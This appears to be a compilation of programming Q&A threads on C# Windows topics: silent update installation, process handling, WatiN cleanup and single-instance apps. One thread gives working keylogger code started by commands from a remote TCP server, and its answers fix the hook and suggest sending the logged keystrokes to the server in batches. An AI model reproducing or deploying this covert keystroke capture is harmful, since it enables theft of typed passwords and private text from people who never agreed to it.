I'm trying to create a program that will handle updates silently. I am using the wuapilib.dll, which comes with a number of classes (c#). My first revision of the program was as follows (ignore typo problems - its on another computer without internet access so i'm typing it by hand):
IUpdateSession mySess = new UpdateSession();
IUpdateSearcher mySear = mySess.CreateUpdateSearcher();
ISearchResult myRes = mySear.Search("Type='Software'");
IUpdateDownloader myDown = mySess.CreateUpdateDownloader();
IUpdateInstaller myInst = mySess.CreateUpdateInstaller();
myDown.Updates = myRes.Updates;
myDown.Download();
myInst.Updates = myRes.Updates;
myInst.Install();
Ignore the case where an update is already downloaded or installed, I'm omitting the logic above. My problem is that IUpdateInstaller doesn't allow you to force a quiet install - a number of updates require that a user click a confirmation box. The IUpdateInstaller2 class does (I got that from the second post down here), but for the life of me I can't find a way to get an IUpdateInstaller2 object. Nothing seems to return one, and Microsoft's documentation doesn't contain any example code. Extensive googling returned nothing of use.
I think I'm really close - the functionality is there, I just can't quite access it.
Thanks for your help.
I checked that (or rather, I think i did - wasn't too clear on getting it to work), and it looks like the CreateUpdateInstaller only returns an IUpdateInstaller, nothing else.
However, I found code (on a chinese website, interestingly enough) that just directly cast the IUpdateInstaller to an IUpdateInstalelr2, which has solved my problems.
Thanks for the help
I have posted in another Question my app to, search, download and then install Windows updates.
See: C# and WUAPI: BeginDownload function
you can easily change the:
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
Application.SetCompatibleTextRenderingDefault(false);
Application.EnableVisualStyles();
Thread thread = new Thread(() =>
{
Form1 form1 = new Form1();
form1.Visible = false;
form1.ShowInTaskbar = false;
Application.Run(form1);
});
thread.SetApartmentState(ApartmentState.STA);
thread.Start();
}
}
then handle
Application.Close();
after the events have done their thing. For example, if no Updates have been found, then close the app. I use the async properties of the interfaces so it can do what it needs to async.
Hope this helps.
I also searched a long time for it.
You just need to cast it
IUpdateInstaller2 installer = new UpdateInstaller();
According to Microsoft documentation there are also version 3 and 4 available. But this must be an error. The functions of version 3 are available also in IUpdateInstaller2 and the functions from version 4 I never found somewhere.
Related
In the top of Form1 i did:
private Process zipFileDirectoryProcess;
In the constructor i did:
zipFileDirectoryProcess = new Process();
zipFileDirectoryProcess.StartInfo.FileName = "explorer.exe";
zipFileDirectoryProcess.StartInfo.CreateNoWindow = true;
zipFileDirectoryProcess.EnableRaisingEvents = true;
zipFileDirectoryProcess.Exited += new EventHandler(zipFileDirectoryProcess_Exited);
Then i have a method i call it from a button click event:
private void Compress()
{
zipFileDirectoryProcess.StartInfo.Arguments = zipFileDirectoryProcess.StartInfo.Arguments = "/select," + Path.GetFullPath(t);
zipFileDirectoryProcess.Start();
zipFileDirectoryProcess.WaitForExit();
this.TopMost = true;
}
And then in the bottom the Exited event:
private void zipFileDirectoryProcess_Exited(object sender, EventArgs e)
{
this.BeginInvoke(new MethodInvoker(delegate()
{
this.TopMost = false;
}));
}
What i wanted to do is only when i close the process window after started it in the method only if closed the window/process then do the Exited event.
The problem is that once the process started after 2-3 seconds its jumping automatic to the Exited event.
How can i fix it ? Tried examples cant figure out.
Tried to add this line:
zipFileDirectoryProcess.WaitForExit();
But no effect.
zipFileDirectoryProcess.StartInfo.FileName = "explorer.exe";
Trying to start Windows Explorer again when it is already running, and it is always running, will have a disappointing outcome. It is a "heavy" process and it intentionally tries the minimize the number of running copies. Otherwise known as a "single-instance app". There are lots like that, the Microsoft Office programs are single instance apps for example.
So what really happens is that explorer.exe actually starts up, but sees that another instance is already running. And uses process interop to ask that first instance to do the job that you asked it to do. Since you didn't ask it to do anything, you just get another window, displayed by the first instance. The one that you started immediately quits, it doesn't have anything else to do.
So, yes, you'll see that the Exited event fires without you doing anything. Accurately telling you that the explorer.exe process you started did in fact quit. Easy to see in the Taskmgr.exe Processes tab btw. Waiting for that window to be closed is never going to work, it is displayed by the original instance of explorer.exe.
This will just not work the way you hope it will work. What you are actually trying to do is not quite obvious but can be guessed at. Creating a ZIP archive is not difficult, there are excellent libraries available for C# to get the job done, no point in asking another program to do it for you. DotNetZip and SharpZipLib are very popular. It got finally added to .NET as well in version 4.5, Microsoft finally getting over the lost Stacker lawsuit, about time. If you really, really want another program to do it for you then use a console mode zipper like 7-zip.
To show output folder in windows explorer to the user, it's simply enough to do this:
Process.Start("explorer.exe", OutputDir);
I've been looking for an answer to this problem, but couldn't find it anywhere.
I have written an app that utilizes Watin. It works fine, apart from the problem that if I click the "X" button to close the app BEFORE Watin completes all of the actions (before it's disposed, I guess), it doesn't close. My app is still running (although the form is no longer there), as well as all of the IE instances.
I guess I should use FormClosing event handler to kill Watin, but since I'm utilizing the using statement, I've no idea how to achieve that.
Here's a piece of code I'm using:
using (var newBrowser = new IE("http://address.com"))
{
AnalyzeTools FormActions = new AnalyzeTools(progressBar, labelProgress, labelProgressOutOf, richBoxKeywords.Lines.Count());
Analyzer Analytic = new Analyzer(newBrowser, richBoxKeywords.Lines.ToList<string>(), FormActions);
BeingAnalyzed = Analytic;
Analytic.Initialize(textBoxLogin.Text, textBoxPass.Text);
Analytic.HandleAnalysis();
}
EDIT:
OK, I did some more trouble-shooting and this is what I've come up with:
The app is working until all it's finished, simple as that. But it doesn't finish "properly", though -- it crashes, because it can't access the form which no longer exists.
I believe I could fix this by creating a FormClosing or FormClosed event that when triggered, would modify the behaviour of my app. A custom "exit" method. But still, I won't be terminating Watin (something I want to do) and the app would be still running.
The thing is, I don't really need it to accomplish all of the actions it's supposed to.
Is my idea of termination a good one? And is there a way to terminate Watin without dropping the using-statement idea?
EDIT 2:
OK, I tried a few new things.
I created that messagebox which asks for a decision. I tried using Application.Exit() to terminate, but it doesn't work as I hoped it would. The app's vshost is still running (WatiN?).
So I guess my question comes to this: is the only way to terminate WatiN to drop the using statement, make the IE object available everywhere in the class and dispose it when the user chooses to terminate it?
I think what you need to do is create an instance of IE and then just close that instance. When you need it again you can just recreate the instance. I found this on Stackoverflow a long time ago when I had a similiar problem but I couldn't find it again to link to it.
public sealed class BrowserIE
{
static readonly IE _Instance = new IE();
static BrowserIE()
{}
BrowserIE()
{ }
public static IE Instance
{
get { return _Instance; }
}
}
create a class with the code above. use
var browser = BrowserIE.Instance("myUrl");
and when your done with it use:
browser.Close();
hope this helps. If you have any other questions I'll try to help.
Which version of WatIn are you using
Watin has a specific dispose method for this job
browser.Dispose();
I have this library http://www.codeproject.com/KB/cs/globalhook.aspx
I've downloaded it and compiled it to DLL.
At first I had a weird problem that it haven't worked in my project, but it did (in the exact same code) worked in the demo project, but it was fixed by applying what the following message said:
http://www.codeproject.com/KB/cs/globalhook.aspx?msg=3505023#xx3505023xx
Note: I'm working with .NET 4, VS 2010 Ultimate
Well, I have a file Form1.cs, which is my main form for my app.
I have other files: Client.cs, Script.cs, Keylogger.cs - no, it's not an evil keylogger - It's for a school presentation about security\antiviruses etc.
Keylogger.cs has one static class and here's the code:
public static class Keylogger
{
static private StreamWriter sw = null;
static private System.Timers.Timer t = null;
static public bool Started = false;
static public void Start(string Location)
{
Started = true;
sw = new StreamWriter(Location, true, Encoding.Default, 1);
HookManager.KeyPress += HookManager_KeyPress;
t = new System.Timers.Timer(3600000);
t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
t.Start();
}
static public void Stop()
{
if (!Started)
throw new Exception("Keylogger is not operating at the moment.");
Started = false;
HookManager.KeyPress -= HookManager_KeyPress;
t.Dispose();
sw.Dispose();
}
static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == 8)
sw.Write("{BACKSPACE}");
else
sw.Write(e.KeyChar);
}
}
The Client class isn't static - it manages a TCP connections with a server, and send all received data to Script.RunScript(string scr) (static method).
Well, Script.RunScript should invoke Keylogger.Start(string location) for some input (STARTLOGGING c:\log.txt)
And invoke Keylogger.Stop() for some input (STOPLOGGING)
Well, everything is good, it invokes Start, but it doesn't work.
It does the whole process, (timer, event, streamwriter etc) but when I press something - the whole computer freeze for a couple of seconds and nothing happened (it doesn't even invoke KeyPress) - it happens only the first time. any other time - it simply ignores my keypress.
THE FUNNY THING IS - if I call Start from my mainform (in the ctor, on a button click event) - IT DOES WORK ! without any lag.
I did try different events (MouseDoubleClick, MouseMove) and all had the same problem.
Thank you, Mark !
The delay followed by the UI getting responsive again is a strong sign of the underlying cause of the problem. You see Windows healing itself, noticing that the callback isn't being responsive. It automatically disables the hook.
The hard requirement you probably violate is that the SetWindowsHookEx() call must be made from a thread that pumps a message loop. So that Windows can break in on a keypress and call the callback. That works fine when you called the Start() method from a button click, the Click event runs on the UI thread of your program.
But probably not when you this call is made from a networking event. They tend to run on a threadpool thread. It isn't clear from your snippet, you didn't post the code. The generic fix for a problem like this is using Control.BeginInvoke() to marshal a call from a worker thread to the UI thread. You'll find a good description of it in the MSDN library article as well as many, many answers here at stackoverflow.com
Fwiw, the original code got broken due to changed behavior in the .NET 4 version of the CLR. It no longer fakes the native module for assemblies. The workaround is good enough, it only needs a valid module handle. The actual one doesn't matter since this is not a global hook.
I think your best bet is to not write to the network on UI events, but instead have your logger write to a local file or in-memory database or similar, and then have a timer that periodically writes the content of that message to the server. That way you can both send chunkier messages to the server (improving performance on both machines) as well as have the ability to run the network call on a background thread, which makes the UI feel snappier.
I have to restrict my .net 4 WPF application so that it can be run only once per machine. Note that I said per machine, not per session.
I implemented single instance applications using a simple mutex until now, but unfortunately such a mutex is per session.
Is there a way to create a machine wide mutex or is there any other solution to implement a single instance per machine application?
I would do this with a global Mutex object that must be kept for the life of your application.
MutexSecurity oMutexSecurity;
//Set the security object
oMutexSecurity = new MutexSecurity();
oMutexSecurity.AddAccessRule(new MutexAccessRule(new SecurityIdentifier(WellKnownSidType.BuiltinUsersSid, null), MutexRights.FullControl, AccessControlType.Allow));
//Create the global mutex and set its security
moGlobalMutex = new Mutex(True, "Global\\{5076d41c-a40a-4f4d-9eed-bf274a5bedcb}", bFirstInstance);
moGlobalMutex.SetAccessControl(oMutexSecurity);
Where bFirstInstance returns if this is the first instance of your application running globally. If you omited the Global part of the mutex or replaced it with Local then the mutex would only be per session (this is proberbly how your current code is working).
I believe that I got this technique first from Jon Skeet.
The MSDN topic on the Mutex object explains about the two scopes for a Mutex object and highlights why this is important when using terminal services (see second to last note).
I think what you need to do is use a system sempahore to track the instances of your application.
If you create a Semaphore object using a constructor that accepts a name, it is associated with an operating-system semaphore of that name.
Named system semaphores are visible throughout the operating system, and can be used to synchronize the activities of processes.
EDIT: Note that I am not aware if this approach works across multiple windows sessions on a machine. I think it should as its an OS level construct but I cant say for sure as i havent tested it that way.
EDIT 2: I did not know this but after reading Stevo2000's answer, i did some looking up as well and I think that the "Global\" prefixing to make the the object applicable to the global namespace would apply to semaphores as well and semaphore, if created this way, should work.
You could open a file with exclusive rights somewhere in %PROGRAMDATA%
The second instance that starts will try to open the same file and fail if it's already open.
How about using the registry?
You can create a registry entry under HKEY_LOCAL_MACHINE.
Let the value be the flag if the application is started or not.
Encrypt the key using some standard symmetric key encryption method so that no one else can tamper with the value.
On application start-up check for the key and abort\continue accordingly.
Do not forget to obfuscate your assembly, which does this encryption\decryption part, so that no one can hack the key in registry by looking at the code in reflector.
I did something similar once.
When staring up the application list, I checked all running processes for a process with identical name, and if it existed I would not allow to start the program.
This is not bulletproof of course, since if another application have the exact same process name, your application will never start, but if you use a non-generic name it will probably be more than good enough.
For the sake of completeness, I'd like to add the following which I just found now:
This web site has an interesting approach in sending Win32 messages to other processes. This would fix the problem of the user renaming the assembly to bypass the test and of other assemblies with the same name.
They're using the message to activate the main window of the other process, but it seems like the message could be a dummy message only used to see whether the other process is responding to it to know whether it is our process or not.
Note that I haven't tested it yet.
See below for full example of how a single instace app is done in WPF 3.5
public class SingleInstanceApplicationWrapper :
Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase
{
public SingleInstanceApplicationWrapper()
{
// Enable single-instance mode.
this.IsSingleInstance = true;
}
// Create the WPF application class.
private WpfApp app;
protected override bool OnStartup(
Microsoft.VisualBasic.ApplicationServices.StartupEventArgs e)
{
app = new WpfApp();
app.Run();
return false;
}
// Direct multiple instances.
protected override void OnStartupNextInstance(
Microsoft.VisualBasic.ApplicationServices.StartupNextInstanceEventArgs e)
{
if (e.CommandLine.Count > 0)
{
app.ShowDocument(e.CommandLine[0]);
}
}
}
Second part:
public class WpfApp : System.Windows.Application
{
protected override void OnStartup(System.Windows.StartupEventArgs e)
{
base.OnStartup(e);
WpfApp.current = this;
// Load the main window.
DocumentList list = new DocumentList();
this.MainWindow = list;
list.Show();
// Load the document that was specified as an argument.
if (e.Args.Length > 0) ShowDocument(e.Args[0]);
}
public void ShowDocument(string filename)
{
try
{
Document doc = new Document();
doc.LoadFile(filename);
doc.Owner = this.MainWindow;
doc.Show();
// If the application is already loaded, it may not be visible.
// This attempts to give focus to the new window.
doc.Activate();
}
catch
{
MessageBox.Show("Could not load document.");
}
}
}
Third part:
public class Startup
{
[STAThread]
public static void Main(string[] args)
{
SingleInstanceApplicationWrapper wrapper =
new SingleInstanceApplicationWrapper();
wrapper.Run(args);
}
}
You may need to add soem references and add some using statements but it shoudl work.
You can also download a VS example complete solution by downloading the source code of the book from here.
Taken From "Pro WPF in C#3 2008 , Apress , Matthew MacDonald" , buy the book is gold. I did.
This has been a problem that I haven't been able to figure out for sometime. Preventing the second instance is trivial and has many methods, however, bringing back the already running process isn't. I would like to:
Minimized: Undo the minimize and bring the running instance to the front.
Behind other windows: Bring the application to the front.
The language I am using this in is VB.NET and C#.
I found this code to be useful. It does the detection and optional activation of an existing application:
http://www.codeproject.com/KB/cs/cssingprocess.aspx
If you're using .NET, this seems easier and more straightforward using build-in .NET functionality:
The Weekly Source Code 31- Single Instance WinForms and Microsoft.VisualBasic.dll
These link may be of help:
http://www.ai.uga.edu/mc/SingleInstance.html
It has code to detect another instance running, not sure what you can do with it once you've got the instance though.
In
Form_Load this code worked.
If App.PrevInstance = True Then
MsgBox "Already running...."
Unload Me
Exit Sub
End If
Here is a simple and easily understandable method for preventing duplicate concurrent execution (written in c#).
public static void StopProgramOnSecondRun()
{
string
//Get the full filename and path
FullEXEPath = System.Reflection.Assembly.GetEntryAssembly().Location,
//Isolate just the filename with no extension
FilenameWithNoExtension = System.IO.Path.GetFileNameWithoutExtension(FullEXEPath);
//Retrieve a list of processes that have the same name as this one wich is FilenameWithNoExtension
Process[] processes = System.Diagnostics.Process.GetProcessesByName(FilenameWithNoExtension);
//There should always be at least one process returned. If the number is greater than one. Than this is the clone and we must kill it.
if (processes.Length > 1)
System.Diagnostics.Process.GetCurrentProcess().Kill();
}
I used the FileSystemWatcher on the form to solve this. This solution checks for the process, does not start a new instance, and shows the form of the already running process.
Add a FileSystemWatcher to the form that checks for the creation of a file and then shows the form with the created event.
In Program.cs:
if (Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName).Length > 1)
{
File.Create("AlreadyRunning.log").Dispose();
return;
}
For the form's FileSystemWatcher created event:
if (File.Exists("AlreadyRunning.log"))
{
Show();
WindowState = FormWindowState.Normal;
File.Delete("AlreadyRunning.log");
}